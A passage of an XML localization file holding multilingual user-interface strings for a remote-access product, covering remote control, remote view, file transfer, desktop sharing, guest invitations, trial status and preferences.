<ru>Можно открыть доступ к своему рабочему столу, создав ссылку для совместного использования рабочего стола и отправив ее другим пользователям при помощи Интернет-пейджера, например Skype.</ru>
<ja>デスクトップ共有リンクを作成して、Skype などのインスタント メッセージを使って相手へ送信することで、デスクトップを共有できます。</ja>
<ko>데스크톱 공유 링크를 만들고 이 링크를 Skype와 같은 인스턴트 메신저로 전송하여 데스크톱을 다른 사용자와 공유합니다.</ko>
<hu>Asztal megosztása másokkal egy képernyő-megosztási hivatkozás létrehozásával és annak egy üzenetküldő programmal (például Skype) történő elküldésével.</hu>
</msg>
<msg name="SEEACTION">
<en>See it in action (30 secs)</en>
<de>Sehen Sie zu, wie er zum Einsatz kommt (30 Sek.)</de>
<es>Véalo usted mismo (30 seg.)</es>
<fr>Voir en action (30 secondes)</fr>
<it>Guarda la demo (30 secondi)</it>
<ru>Посмотрите на это в действии (30 секунд)</ru>
<ja>動画を見る (30 秒)</ja>
<ko>실행되는지 확인합니다(30초).</ko>
<hu>Lássuk, hogy működik (30 mp)</hu>
<pt-br>Veja o processo em ação (30 segundos)</pt-br>
<zh>看到其起作用(30 秒)</zh>
<nl>Bekijk de demo (30 seconden)</nl>
</msg>
<msg name="FEATURESUSED">
<en>Features You've Used</en>
<de>Von Ihnen verwendete Funktionen</de>
<es>Funciones que ha utilizado</es>
<fr>Fonctionnalités utilisées</fr>
<it>Funzioni utilizzate dall'utente</it>
<ru>Функции, которые Вы использовали</ru>
<ja>使用された機能</ja>
<ko>사용한 기능</ko>
<hu>Az Ön által használt funkciók</hu>
<pt-br>Recursos que você usou</pt-br>
<zh>您已使用的功能</zh>
<nl>Functies die u hebt gebruikt</nl>
</msg>
<msg name="LEARNMORE">
<en>Features Used</en>
<de>Verwendete Funktionen</de>
<es>Funciones utilizadas</es>
<fr>Fonctionnalités utilisées</fr>
<it>Funzioni utilizzate</it>
<ru>Используемые функции</ru>
<ja>使用された機能</ja>
<ko>사용된 기능</ko>
<hu>Használt funkciók</hu>
<pt-br>Recursos usados</pt-br>
<zh>已使用的功能</zh>
<nl>Gebruikte functies</nl>
</msg>
<msg name="FEATUREUSEDRC">
<en>Remote Control</en>
<de>Fernsteuerung</de>
<ja>リモート制御</ja>
<es>Control Remoto</es>
<fr>Contrôle à Distance</fr>
<it>Controllo remoto</it>
<ru>Удаленное управление</ru>
<zh>远程控制</zh>
<ko>원격 제어</ko>
<en-gb>Remote Control</en-gb>
<hu>Távvezérlő</hu>
<pt-br>Controle remoto</pt-br>
<nl>Besturing op afstand</nl>
</msg>
<msg name="FEATUREUSEDPRN">
<en>Remote Printing</en>
<de>Remote-Drucken</de>
<es>Impresión remota</es>
<fr>Impression à Distance</fr>
<it>Stampa remota</it>
<ru>Удаленная печать</ru>
<ja>リモート印刷</ja>
<zh>远程打印</zh>
<ko>원격 인쇄</ko>
<en-gb>Remote Printing</en-gb>
<hu>Távnyomtatás</hu>
<pt-br>Impressão remota</pt-br>
<nl>Afdrukken op afstand</nl>
</msg>
<msg name="FEATUREUSEDFT">
<en>File Manager</en>
<de>Dateimanager</de>
<ja>ファイル管理</ja>
<es>Gestor de archivos</es>
<fr>Transfert de fichiers</fr>
<it>Gestione file</it>
<ru>Диспетчер файлов</ru>
<zh>文件管理器</zh>
<ko>파일 관리자</ko>
<en-gb>File Manager</en-gb>
<hu>Fájlkezelő</hu>
<pt-br>Gerenciador de arquivos</pt-br>
<nl>Bestandsbeheer</nl>
</msg>
<msg name="FEATUREUSEDMTG">
<en>Desktop Sharing</en>
<es>Escritorio compartido</es>
<de>Desktopfreigabe</de>
<fr>Partage de bureau</fr>
<it>Condivisione del desktop</it>
<ru>Общий доступ к рабочему столу</ru>
<ja>デスクトップ共有</ja>
<zh>桌面共享</zh>
<ko>데스크톱 공유</ko>
<en-gb>Desktop Sharing</en-gb>
<hu>Képernyő megosztása</hu>
<pt-br>Compartilhamento do desktop</pt-br>
<nl>Bureaublad delen</nl>
</msg>
<msg name="FEATUREUSEDFSH">
<en>File Sharing</en>
<es>Transferencia de archivos</es>
<de>Dateifreigabe</de>
<fr>Partage de fichiers</fr>
<it>Condivisione dei file</it>
<ru>Общий доступ к файлам</ru>
<ja>ファイル共有</ja>
<zh>文件共享</zh>
<ko>파일 공유</ko>
<en-gb>File Sharing</en-gb>
<hu>Fájlmegosztás</hu>
<pt-br>Compartilhamento de arquivos</pt-br>
<nl>Bestanden delen</nl>
</msg>
<msg name="TRIALSTATUS">
<en>Trial Status</en>
<de>Status des Probe-Abos</de>
<es>Versión de prueba</es>
<fr>Etat de l'essai</fr>
<it>Stato di prova</it>
<ru>Пробное состояние</ru>
<ja>試用版のステータス</ja>
<ko>평가 버전 상태</ko>
<hu>A Próbaverzió állapota</hu>
<pt-br>Status da avaliação gratuita</pt-br>
<zh>试用状态</zh>
<nl>Status van de proefperiode</nl>
</msg>
<msg name="TRIALDAYREMAINING">
<en>days remaining</en>
<de>verbleibende Tage</de>
<es>días quedan</es>
<fr>jours restants</fr>
<it>giorni rimasti</it>
<ru>осталось дней</ru>
<ja>残り日数</ja>
<ko>남은 일 수</ko>
<hu>fennmaradó napok</hu>
<pt-br>dias restantes</pt-br>
<zh>剩余天数</zh>
<nl>dagen resterend</nl>
</msg>
<msg name="TRIALDAYREMAININGBEGIN">
<en>days left to use your remaining</en>
<de>Verbleibende Tage für die Verwendung von</de>
<es>días quedan de la versión de prueba</es>
<fr>jours restants pour l'utilisation</fr>
<it>giorni di utilizzo rimasti per le rimanenti</it>
<ru>осталось дней до завершения</ru>
<ja>次の残り使用期間</ja>
<ko>사용 가능한 남은 일 수</ko>
<hu>nap maradt a használatra.</hu>
<pt-br>dias que faltam para usar sua</pt-br>
<zh>您剩余的使用天数</zh>
<nl>dagen nog voor het gebruik van uw resterende</nl>
</msg>
<msg name="TRIALDAYREMAININGEND">
<en>minutes</en>
<de>Minuten</de>
<es>minutos</es>
<fr>minutes</fr>
<it>minuti</it>
<ru>минут</ru>
<ja>分</ja>
<zh>分钟</zh>
<ko>분</ko>
<en-gb>minutes</en-gb>
<hu>perc</hu>
<pt-br>minutos</pt-br>
<nl>minuten</nl>
</msg>
<msg name="BUYNOW">
<en>Buy Now</en>
<de>Jetzt kaufen</de>
<es>Compre ahora</es>
<fr>Acheter maintenant</fr>
<it>Acquista ora</it>
<ru>Приобрести сейчас</ru>
<ja>今すぐ購入</ja>
<ko>지금 구입</ko>
<hu>Vásárolja meg most</hu>
<pt-br>Comprar agora</pt-br>
<zh>立即购买</zh>
<nl>Nu kopen</nl>
</msg>
<msg name="FEATUREUSEDSND">
<en>Remote Sound</en>
<de>Tonübertragung vom Ferncomputer</de>
<es>Sonido remoto</es>
<fr>Son à distance</fr>
<it>Audio remoto</it>
<ru>Удаленный звук</ru>
<ja>リモート サウンド</ja>
<zh>远程声音</zh>
<ko>원격 사운드</ko>
<hu>Távhang</hu>
<pt-br>Som remoto</pt-br>
<nl>Extern geluid</nl>
</msg>
<msg name="FEATUREUSEDDND">
<en>Drag &amp; Drop Files</en>
<de>Drag-and-Drop von Dateien</de>
<es>Archivos de arrastrar y soltar</es>
<fr>Glisser-déposer les fichiers</fr>
<it>Trascina file</it>
<ru>Файлы, перемещаемые методом drag-and-drop</ru>
<ja>ファイルをドラッグ・アンド・ドロップ</ja>
<ko>파일 드래그 앤 드롭</ko>
<hu>Fájlok áthúzása</hu>
<pt-br>Arrastar e soltar arquivos</pt-br>
<zh>拖放文件</zh>
<nl>Bestanden slepen &amp; neerzetten</nl>
</msg>
<msg name="REMCTRL.DESC">
<en>Control your remote PC as if you were sitting in front of it.</en>
<fr>Contrôlez votre ordinateur distant comme si vous étiez assis devant.</fr>
<es>Controle su ordenador remoto como si estuviese sentado delante de él.</es>
<de>Sie können von einem entfernten Standort aus an Ihrem Computer arbeiten.</de>
<it>Consente di controllare il computer remoto come se fosse quello locale.</it>
<nl>Bestuur uw externe computer alsof u er zelf achter zit.</nl>
<pt-br>Controle seu computador remoto como se estivesse trabalhando nele.</pt-br>
<zh>控制远程计算机,就仿佛您正对着这台计算机。</zh>
<ru>Управляйте удаленным компьютером, как если бы вы сидели непосредственно передним.</ru>
<en-gb>Control your remote PC as if you were sitting in front of it.</en-gb>
<ja>まるでそのコンピュータの前に座っているかのようにリモート コンピュータを操作できます。</ja>
<ko>원격 컴퓨터를 사용자 앞에 있는 것처럼 제어합니다.</ko>
<hu>Távoli számítógép vezérlése úgy, mintha előtte ülne.</hu>
</msg>
<msg name="REMVIEW.TITLE">
<en>Remote View</en>
<fr>Affichage à distance</fr>
<es>Vista remota</es>
<de>Fernanzeige</de>
<it>Visualizzazione remota</it>
<nl>Externe weergave</nl>
<pt-br>Visualização remota</pt-br>
<zh>远程视图</zh>
<ru>Удалённый просмотр</ru>
<en-gb>Remote View</en-gb>
<ja>リモート ビュー</ja>
<ko>원격 보기</ko>
<hu>Távoli megtekintés</hu>
</msg>
<msg name="REMVIEW.DESC">
<en>In Remote View, the user can see the screen of the remote computer, but cannot interact with the device.</en>
<fr>En affichage à distance, l’utilisateur peut voir l’écran de l’ordinateur distant, mais ne peut pas interagir avec.</fr>
<es>En la Vista remota, el usuario puede ver la pantalla del ordenador remoto pero no interactuar con el dispositivo.</es>
<de>Bei der Fernanzeige können Benutzer den Bildschirm des Remote-Computers sehen, jedoch nicht mit dem Gerät interagieren.</de>
<it>In visualizzazione remota, l’utente può vedere lo schermo del computer remoto, ma non può interagire con il dispositivo.</it>
<nl>In de externe weergave kan de gebruiker het scherm van de externe computer zien, maar interacties met het apparaat zijn niet mogelijk.</nl>
<pt-br>Na Visualização remota, o usuário consegue ver a tela do computador remoto, mas não consegue interagir com o dispositivo.</pt-br>
<zh>在“远程视图”中,用户可以看到远程计算机的屏幕,但不能与设备交互。</zh>
<ru>В режиме удалённого просмотра пользователь может просматривать содержимое экрана удалённого компьютера, но не может с ним взаимодействовать.</ru>
<en-gb>In Remote View, the user can see the screen of the remote computer, but cannot interact with the device.</en-gb>
<ja>リモート ビューではリモート コンピューターの画面を参照できますが、デバイスとの対話はできません。</ja>
<ko>원격 보기에서 사용자는 원격 컴퓨터의 화면을 볼 수 있지만 장치와 상호 작용할 수 없습니다.</ko>
<hu>A távoli megtekintési munkamenetben a felhasználó láthatja a távoli számítógép képernyőjét, de nem folytathat interakciót az eszközzel.</hu>
</msg>
<msg os="macosx" name="REMCTRL.DESC">
<en>Control your remote PC as if you were sitting in front of it.</en>
<fr>Contrôlez votre ordinateur distant comme si vous étiez assis devant.</fr>
<es>Controle su ordenador remoto como si estuviese sentado delante de él.</es>
<de>Sie können von einem entfernten Standort aus an Ihrem Computer arbeiten.</de>
<it>Consente di controllare il computer remoto come se fosse quello locale.</it>
<nl>Bestuur uw externe computer alsof u er zelf achter zit.</nl>
<pt-br>Controle seu computador remoto como se estivesse trabalhando nele.</pt-br>
<zh>控制远程计算机,就仿佛您正对着这台计算机。</zh>
<ru>Управляйте удаленным компьютером, как если бы вы сидели непосредственно передним.</ru>
<en-gb>Control your remote PC as if you were sitting in front of it.</en-gb>
<ja>まるでそのコンピュータの前に座っているかのようにリモート コンピュータを操作できます。</ja>
<ko>원격 컴퓨터를 사용자 앞에 있는 것처럼 제어합니다.</ko>
<hu>Távoli számítógép vezérlése úgy, mintha előtte ülne.</hu>
</msg>
<msg name="REMCTRL.DESC.1">
<en>Full screen view</en>
<de>Vollbildmodus</de>
<ja>全画面表示</ja>
<es>Vista Pantalla completa</es>
<fr>Affichage Plein écran</fr>
<it>Vista a schermo intero</it>
<ru>Полноэкранный режим</ru>
<zh>全屏显示视图</zh>
<ko>전체 화면 보기</ko>
<en-gb>Full screen view</en-gb>
<hu>Teljes képernyős nézet</hu>
<pt-br>Exibição de tela inteira</pt-br>
<nl>Weergave op volledig scherm</nl>
</msg>
<msg name="REMCTRL.DESC.2">
<en>Remote-to-local printing</en>
<ja>リモートからローカルへの出力</ja>
<es>Impresión remoto-a-local</es>
<de>Druck von einem Remotestandort</de>
<fr>Impression locale de documents distants</fr>
<it>Stampa da remoto a locale</it>
<ru>Печать удаленный-локальный</ru>
<zh>远程至本地打印</zh>
<ko>원격-로컬 인쇄</ko>
<en-gb>Remote-to-local printing</en-gb>
<hu>Nyomtatás távolról a helyi nyomtatóra</hu>
<pt-br>Impressão do computador remoto para o local</pt-br>
<nl>Externe bestanden lokaal afdrukken</nl>
</msg>
<msg name="REMCTRL.DESC.3">
<en>Control keyboard and mouse</en>
<ja>キーボードとマウスの制御</ja>
<es>Controlar teclado y ratón</es>
<de>Steuerung von Tastatur und Maus</de>
<fr>Contrôlez votre clavier et votre souris</fr>
<it>Controllo di tastiera e mouse</it>
<ru>Контролировать клавиатуру и мышь</ru>
<zh>控制键盘和鼠标</zh>
<ko>키보드 및 마우스 제어</ko>
<en-gb>Control keyboard and mouse</en-gb>
<hu>Billentyűzet és az egér vezérlése</hu>
<pt-br>Controle do teclado e do mouse</pt-br>
<nl>Toetsenbord en muis bedienen</nl>
</msg>
<msg name="REMCTRL.DESC.4">
<en>Copy-and-paste between PCs </en>
<fr>Effectuez un copier-coller entre plusieurs ordinateurs</fr>
<es>Copiar-y-pegar entre ordenadores</es>
<de>Kopieren und Einfügen zwischen Computern</de>
<it>Operazioni Copia e Incolla tra i computer</it>
<nl>Kopiëren en plakken tussen computers</nl>
<pt-br>Copie e cole entre computadores</pt-br>
<zh>在计算机之间复制和粘贴</zh>
<ru>Копирование и вставка между компьютерами</ru>
<ja>コンピュータ間のコピー アンド ペースト</ja>
<ko>컴퓨터 간 복사 후 붙여넣기</ko>
<hu>Másolás és beillesztés a számítógépek között</hu>
<en-gb>Copy-and-paste between PCs</en-gb>
</msg>
<msg os="macosx" name="REMCTRL.DESC.4">
<en>Copy-and-paste between PCs </en>
<fr>Effectuez un copier-coller entre plusieurs ordinateurs</fr>
<es>Copiar-y-pegar entre ordenadores</es>
<de>Kopieren und Einfügen zwischen Computern</de>
<it>Operazioni Copia e Incolla tra i computer</it>
<nl>Kopiëren en plakken tussen computers</nl>
<pt-br>Copie e cole entre computadores</pt-br>
<zh>在计算机之间复制和粘贴</zh>
<ru>Копирование и вставка между компьютерами</ru>
<ja>コンピュータ間のコピー アンド ペースト</ja>
<ko>컴퓨터 간 복사 후 붙여넣기</ko>
<hu>Másolás és beillesztés a számítógépek között</hu>
<en-gb>Copy-and-paste between PCs</en-gb>
</msg>
<msg name="REMCTRL.NEWWINDOW">
<en>Open remote control in a new window</en>
<ja>新しいウィンドウでリモート制御を開く</ja>
<es>Abrir control remoto en una ventana nueva</es>
<de>Öffnen der Remotesteuerung in einem neuen Fenster</de>
<fr>Ouvrez le contrôle à distance dans une nouvelle fenêtre</fr>
<it>Apri controllo remoto in un\\'altra finestra</it>
<ru>Открыть консоль удаленного управления в новом окне</ru>
<zh>在新窗口中打开远程控制</zh>
<ko>새 창에서 원격 제어 열기</ko>
<en-gb>Open remote control in a new window</en-gb>
<hu>Távvezérlés megnyitása új ablakban</hu>
<pt-br>Abra o controle remoto em uma nova janela</pt-br>
<nl>Besturing op afstand openen in een nieuw venster</nl>
</msg>
<msg name="FILEXFER.DESC">
<en>Securely access, transfer and backup important files using just a web browser.</en>
<ja>Web ブラウザを使用して、重要なファイルへのアクセス、転送、バックアップを安全に行います。</ja>
<es>Acceda y transfiera archivos con seguridad y haga copias de seguridad utilizando sólo un navegador web.</es>
<de>Sie können über einen Webbrowser sicher auf wichtige Dateien zugreifen und diese außerdem übertragen und sichern.</de>
<fr>Accédez, transférez et sauvegardez en toute sécurité des fichiers importants à l'aide d'un simple navigateur Web.</fr>
<it>Consente di accedere, trasferire ed eseguire il backup di file importanti in modo sicuro utilizzando un semplice browser Web.</it>
<ru>Безопасный доступ, передача и резервное копирование важных файлов с помощью одного веб-обозревателя.</ru>
<zh>仅使用 Web 浏览器安全地访问、传输和备份重要文件。</zh>
<ko>웹 브라우저를 사용하여 중요한 파일을 안전하게 액세스, 전송 및 백업합니다.</ko>
<en-gb>Securely access, transfer and backup important files using just a web browser.</en-gb>
<hu>Biztonságos hozzáférés, átvitel és a fontos fájlok biztonsági mentése csupán a böngésző segítségével.</hu>
<pt-br>Acesse, transfira e faça backup de arquivos importantes com segurança usando apenas um navegador da web.</pt-br>
<nl>Gebruik niet meer dan een webbrowser om beveiligde toegang te krijgen, bestanden over te dragen en een back-up van belangrijke bestanden te maken.</nl>
</msg>
<msg name="FILEXFER.DESC.1">
<en>Backup digital photos</en>
<ja>デジタル フォトのバックアップ</ja>
<es>Haga copia de seguridad de fotografías digitales</es>
<de>Digitale Fotos sichern</de>
<fr>Sauvegardez des photos numériques</fr>
<it>Backup di fotografie digitali</it>
<ru>Резервное копирование цифровых фотографий</ru>
<zh>备份数码照片</zh>
<ko>디지털 사진 백업</ko>
<en-gb>Backup digital photos</en-gb>
<hu>Digitális fotók biztonsági mentése</hu>
<pt-br>Faça backup de fotos digitais</pt-br>
<nl>Back-up maken van digitale foto's</nl>
</msg>
<msg name="FILEXFER.DESC.2">
<en>Transfer large files</en>
<ja>大きなファイルの転送</ja>
<es>Transfiera archivos grandes</es>
<de>Große Dateien übertragen</de>
<fr>Transférez des fichiers volumineux</fr>
<it>Trasferimento di file di grandi dimensioni</it>
<ru>Передача больших файлов</ru>
<zh>传输大型文件</zh>
<ko>대형 파일 전송</ko>
<en-gb>Transfer large files</en-gb>
<hu>Nagy fájlok átvitele</hu>
<pt-br>Transfira arquivos grandes</pt-br>
<nl>Grote bestanden overdragen</nl>
</msg>
<msg name="FILEXFER.DESC.3">
<en>Access files from your PocketPC</en>
<ja>Pocket PC からファイルにアクセス</ja>
<es>Acceda a archivos desde PocketPC</es>
<de>Über Ihren PocketPC auf Dateien zugreifen</de>
<fr>Accédez à vos fichiers à partir de votre PocketPC</fr>
<it>Accesso ai file da PocketPC</it>
<ru>Доступ к файлам с карманного ПК</ru>
<zh>从 PocketPC 访问文件</zh>
<ko>PocketPC에서 파일에 액세스</ko>
<en-gb>Access files from your PocketPC</en-gb>
<hu>Hozzáférés a fájlokhoz a kéziszámítógépről</hu>
<pt-br>Acesse arquivos do seu PC de bolso</pt-br>
<nl>Toegang krijgen tot bestanden vanaf uw Pocket PC</nl>
</msg>
<msg name="FILEXFER.DESC.4">
<en>Synchronize folders</en>
<de>Ordner synchronisieren</de>
<ja>フォルダの同期</ja>
<es>Sincronice carpetas</es>
<fr>Synchronisez des dossiers</fr>
<it>Sincronizzazione delle cartelle</it>
<ru>Синхронизовать папки</ru>
<zh>同步文件夹</zh>
<ko>폴더 동기화</ko>
<en-gb>Synchronise folders</en-gb>
<hu>Mappák szinkronizálása</hu>
<pt-br>Sincronize pastas</pt-br>
<nl>Mappen synchroniseren</nl>
</msg>
<msg name="FILESHARE.DESC">
<en>Easily share files - even those that are too large for email.</en>
<ja>電子メールで送信できないほど大きなファイルでも、簡単に共有できます。</ja>
<es>Comparta fácilmente archivos, aunque sean demasiado grandes para el correo electrónico.</es>
<de>Einfacher gemeinsamer Dateizugriff (sogar auf Dateien, die zu groß für die E-Mail-Übertragung sind.</de>
<fr>Partagez des fichiers en toute simplicité, même les plus volumineux qui ne peuvent être envoyés par e-mail.</fr>
<it>Consente di condividere in modo semplice i file, persino quelli troppo grandi per l'e-mail.</it>
<ru>Упрощенный общий доступ к файлам, даже слишком больших для отправки по электронной почте.</ru>
<zh>方便地共享文件,即使那些由于太大而无法通过电子邮件发送的文件也可以方便地进行共享。</zh>
<ko>전자 메일로 보내기에 너무 큰 파일인 경우에도 쉽게 해당 파일을 공유합니다.</ko>
<en-gb>Easily share files - even those that are too large for e-mail.</en-gb>
<hu>Könnyű fájlmegosztás - még az e-mail számára túl nagy fájlok esetében is.</hu>
<pt-br>Compartilhe arquivos facilmente, mesmo os que são muito grandes para envio por e-mail.</pt-br>
<nl>Eenvoudig bestanden delen - zelfs bestanden die te groot zijn om via e-mail te verzenden.</nl>
</msg>
<msg name="FILESHARE.DESC.1">
<en>Music</en>
<de>Musik</de>
<fr>Musique</fr>
<ja>音楽</ja>
<es>Música</es>
<it>Musica</it>
<ru>Музыка</ru>
<zh>音乐</zh>
<ko>음악</ko>
<en-gb>Music</en-gb>
<hu>Zene</hu>
<pt-br>Música</pt-br>
<nl>Muziek</nl>
</msg>
<msg name="FILESHARE.DESC.2">
<en>Presentations</en>
<ja>プレゼンテーション</ja>
<es>Presentaciones</es>
<de>Präsentationen</de>
<fr>Présentations</fr>
<it>Presentazioni</it>
<ru>Презентации</ru>
<zh>演示文稿</zh>
<ko>프레젠테이션</ko>
<en-gb>Presentations</en-gb>
<hu>Bemutatók</hu>
<pt-br>Apresentações</pt-br>
<nl>Presentaties</nl>
</msg>
<msg name="FILESHARE.DESC.3">
<en>Movies</en>
<de>Film</de>
<ja>ムービー</ja>
<es>Películas</es>
<fr>Films</fr>
<it>Filmati</it>
<ru>Фильмы</ru>
<zh>电影</zh>
<ko>영화</ko>
<en-gb>Films</en-gb>
<hu>Filmek</hu>
<pt-br>Filmes</pt-br>
<nl>Films</nl>
</msg>
<msg name="FILESHARE.DESC.4">
<en>Software Updates</en>
<ja>ソフトウェアの更新</ja>
<es>Actualizaciones de software</es>
<de>Softwareaktualisierung</de>
<fr>Mises à jour logicielles</fr>
<it>Aggiornamenti software</it>
<ru>Обновления программного обеспечения</ru>
<zh>软件更新</zh>
<ko>소프트웨어 업데이트</ko>
<en-gb>Software Updates</en-gb>
<hu>Szoftverfrissítések</hu>
<pt-br>Atualizações de software</pt-br>
<nl>Software-updates</nl>
</msg>
<msg name="GUESTINVITE.DESC">
<en>Invite friends and colleagues to temporarily access your computer's desktop. It's fast, easy and secure!</en>
<fr>Invitez des collègues et amis à accéder à votre ordinateur ou à le contrôler de façon temporaire.</fr>
<es>Invite a amigos y compañeros a que vean o controlen temporalmente su ordenador.</es>
<de>Sie können Freunde und Kollegen einladen, Ihren Computer vorübergehend zu sehen und zu steuern.</de>
<it>Consente di invitare amici e colleghi a visualizzare o controllare temporaneamente il proprio computer.</it>
<nl>Nodig vrienden en collega’s uit om tijdelijk uw computer te bekijken of te besturen.</nl>
<pt-br>Convide amigos e colegas para exibir ou controlar temporariamente seu computador.</pt-br>
<zh>邀请朋友和同事临时查看或控制您的计算机。</zh>
<ru>Пригласите друзей и коллег к временному просмотру своего компьютера и управлению им.</ru>
<ja>友人や同僚に自分のコンピュータを見せたり、制御させることができます。</ja>
<ko>친구 및 동료에게 일시적으로 사용자의 컴퓨터 보기 또는 제어를 허용합니다.</ko>
<hu>Hívja meg barátait és munkatársait, hogy ideiglenesen megtekintsék az Ön képernyőjét Gyors, könnyű, és biztonságos!</hu>
<en-gb>Invite friends and colleagues to temporarily view or control your PC.</en-gb>
</msg>
<msg os="macosx" name="GUESTINVITE.DESC">
<en>Invite friends and colleagues to temporarily view or control your computer.</en>
<fr>Invitez des collègues et amis à accéder à votre ordinateur ou à le contrôler de façon temporaire.</fr>
<es>Invite a amigos y compañeros a que vean o controlen temporalmente su ordenador.</es>
<de>Sie können Freunde und Kollegen einladen, Ihren Computer vorübergehend zu sehen und zu steuern.</de>
<it>Consente di invitare amici e colleghi a visualizzare o controllare temporaneamente il proprio computer.</it>
<nl>Nodig vrienden en collega’s uit om tijdelijk uw computer te bekijken of te besturen.</nl>
<pt-br>Convide amigos e colegas para exibir ou controlar temporariamente seu computador.</pt-br>
<zh>邀请朋友和同事临时查看或控制您的计算机。</zh>
<ru>Пригласите друзей и коллег к временному просмотру своего компьютера и управлению им.</ru>
<ja>友人や同僚に自分のコンピュータを見せたり、制御させることができます。</ja>
<ko>친구 및 동료에게 일시적으로 사용자의 컴퓨터 보기 또는 제어를 허용합니다.</ko>
<hu>Hívja meg barátait és munkatársait, hogy ideiglenesen megtekintsék az Ön képernyőjét Gyors, könnyű, és biztonságos!</hu>
<en-gb>Invite friends and colleagues to temporarily view or control your PC.</en-gb>
</msg>
<msg name="GUESTINVITE.DESC.1">
<en>Conduct online demos</en>
<ja>オンライン デモの実施</ja>
<es>Realice demostraciones en línea</es>
<de>Onlinedemos ausführen</de>
<fr>Présentez des démonstrations en ligne</fr>
<it>Esegui dimostrazioni in linea</it>
<ru>Проведите интерактивную демонстрацию</ru>
<zh>进行联机演示</zh>
<ko>온라인 데모 실행</ko>
<en-gb>Conduct online demos</en-gb>
<hu>Online demók vezetése</hu>
<pt-br>Conduza demonstrações online</pt-br>
<nl>Online demonstraties geven</nl>
</msg>
<msg name="GUESTINVITE.DESC.2">
<en>Collaborate</en>
<de>Mitarbeiten</de>
<ja>共同作業</ja>
<es>Trabajar en grupo</es>
<fr>Collaborez</fr>
<it>Collabora</it>
<ru>Совместная работа</ru>
<zh>协作</zh>
<ko>협업</ko>
<en-gb>Collaborate</en-gb>
<hu>Együttműködés</hu>
<pt-br>Colabore</pt-br>
<nl>Samenwerken</nl>
</msg>
<msg name="GUESTINVITE.DESC.3">
<en>Share photos</en>
<ja>フォトの共有</ja>
<es>Comparta fotografías</es>
<de>Gemeinsamer Zugriff auf Fotos</de>
<fr>Partagez des photos</fr>
<it>Condividi fotografie</it>
<ru>Общий доступ к фотографиям</ru>
<zh>共享照片</zh>
<ko>사진 공유</ko>
<en-gb>Share photos</en-gb>
<hu>Fotók megosztása</hu>
<pt-br>Compartilhe fotos</pt-br>
<nl>Foto's delen</nl>
</msg>
<msg name="GUESTINVITE.DESC.4">
<en>Request support</en>
<ja>サポートの要請</ja>
<es>Solicite asistencia técnica</es>
<de>Unterstützung anfordern</de>
<fr>Demandez de l'assistance</fr>
<it>Richiedi supporto</it>
<ru>Запрос поддержки</ru>
<zh>请求支持</zh>
<ko>지원 요청</ko>
<en-gb>Request support</en-gb>
<hu>Támogatás kérése</hu>
<pt-br>Solicite suporte</pt-br>
<nl>Support aanvragen</nl>
</msg>
<msg name="PREFERENCES.DESC">
<en>Set preferences to specifically meet your needs.</en>
<ja>自分のニーズに合わせて詳細な設定を行います。</ja>
<es>Establezca las preferencias que se ajusten específicamente a sus necesidades.</es>
<de>Spezielle Voreinstellungen für Ihren persönlichen Bedarf einrichten.</de>
<fr>Définissez les préférences en fonction de vos besoins.</fr>
<it>Consente di impostare le preferenze in base alle proprie necessità.</it>
<ru>Установите параметры, соответствующие своим потребностям.</ru>
<zh>设置首选项以满足您的特定要求。</zh>
<ko>필요에 따라 기본 설정을 지정합니다.</ko>
<en-gb>Set preferences to specifically meet your needs.</en-gb>
<hu>Saját szükségleteknek megfelelő beállítások</hu>
<pt-br>Defina preferências para atender especificamente às suas necessidades.</pt-br>
<nl>Stel voorkeurinstellingen in die specifiek aan uw behoeften beantwoorden.</nl>
</msg>
<msg name="PREFERENCES.DESC.1">
<en>Remote screen blanking</en>
<ja>リモート画面消去</ja>
<es>Desactivación de pantalla remota</es>
<de>Bildschirmdeaktivierung von einem Remotestandort</de>
<fr>Occultation de l'écran distant</fr>
<it>Cancellazione del contenuto dello schermo remoto</it>
<ru>Удаленное отключение экрана</ru>
<zh>远程屏幕黑屏</zh>
<ko>원격 화면 비우기</ko>
<en-gb>Remote screen blanking</en-gb>
<hu>Távoli képernyő-kikapcsolás</hu>
<pt-br>Tela remota em branco</pt-br>
<nl>Scherm van de externe computer uitschakelen</nl>
</msg>
<msg name="PREFERENCES.DESC.2">
<en>Extra security features</en>
<de>Spezielle Sicherheitsfunktionen</de>
<fr>Fonctions de sécurité supplémentaires</fr>
<ja>他のセキュリティ機能</ja>
<es>Funciones extra de seguridad</es>
<it>Funzioni di protezione aggiuntiva</it>
<ru>Дополнительные функции безопасности</ru>
<zh>额外安全功能</zh>
<ko>추가 보안 기능</ko>
<en-gb>Extra security features</en-gb>
<hu>Különleges biztonsági funkciók</hu>
<pt-br>Recursos com segurança extra</pt-br>
<nl>Extra beveiligingsfuncties</nl>
</msg>
<msg name="PREFERENCES.DESC.3">
<en>Network settings</en>
<de>Netzwerkeinstellungen</de>
<fr>Paramètres Réseau</fr>
<ja>ネットワークの設定</ja>
<es>Configuración de red</es>
<it>Impostazioni di rete</it>
<ru>Конфигурация сети</ru>
<zh>网络设置</zh>
<ko>네트워크 설정</ko>
<en-gb>Network settings</en-gb>
<hu>Hálózati beállítások</hu>
<pt-br>Configurações de rede</pt-br>
<nl>Netwerkinstellingen</nl>
</msg>
<msg name="PREFERENCES.DESC.4">
<en>Usage settings</en>
<ja>使用方法の設定</ja>
<es>Configuración de uso</es>
<de>Verwendungseinstellungen</de>
<fr>Paramètres d'utilisation</fr>
<it>Impostazioni di utilizzo</it>
<ru>Настройки использования</ru>
<zh>用法设置</zh>
<ko>사용 설정</ko>
<en-gb>Usage settings</en-gb>
<hu>Használati beállítások</hu>
<pt-br>Configurações de utilização</pt-br>
<nl>Gebruiksinstellingen</nl>
</msg>
<msg name="HELP.DESC">
<en>All the resources you need to take full advantage of %PRODUCTNAME.</en>
<ja>%PRODUCTNAME を完全に利用するために必要なすべてのリソースです。</ja>
<es>Todos los recursos que necesita para sacar el máximo provecho de %PRODUCTNAME.</es>
<de>Sie können alle Features von %PRODUCTNAME vollständig nutzen.</de>
<fr>Toutes les ressources dont vous avez besoin pour profiter pleinement de %PRODUCTNAME.</fr>
<it>Tutte le risorse necessarie per utilizzare in modo ottimale %PRODUCTNAME.</it>
<ru>Все ресурсы, которые необходимы для максимального использования преимуществ %PRODUCTNAME.</ru>
<zh>充分利用 %PRODUCTNAME 功能所需的全部资源。</zh>
<ko>%PRODUCTNAME를 완벽하게 이용하기 위해 필요한 모든 리소스.</ko>
<en-gb>All the resources you need to take full advantage of %PRODUCTNAME.</en-gb>
<hu>Minden erőforrás, amely a %PRODUCTNAME teljes kiaknázásához szükséges.</hu>
<pt-br>Todos os recursos de que precisa para tirar total proveito do %PRODUCTNAME.</pt-br>
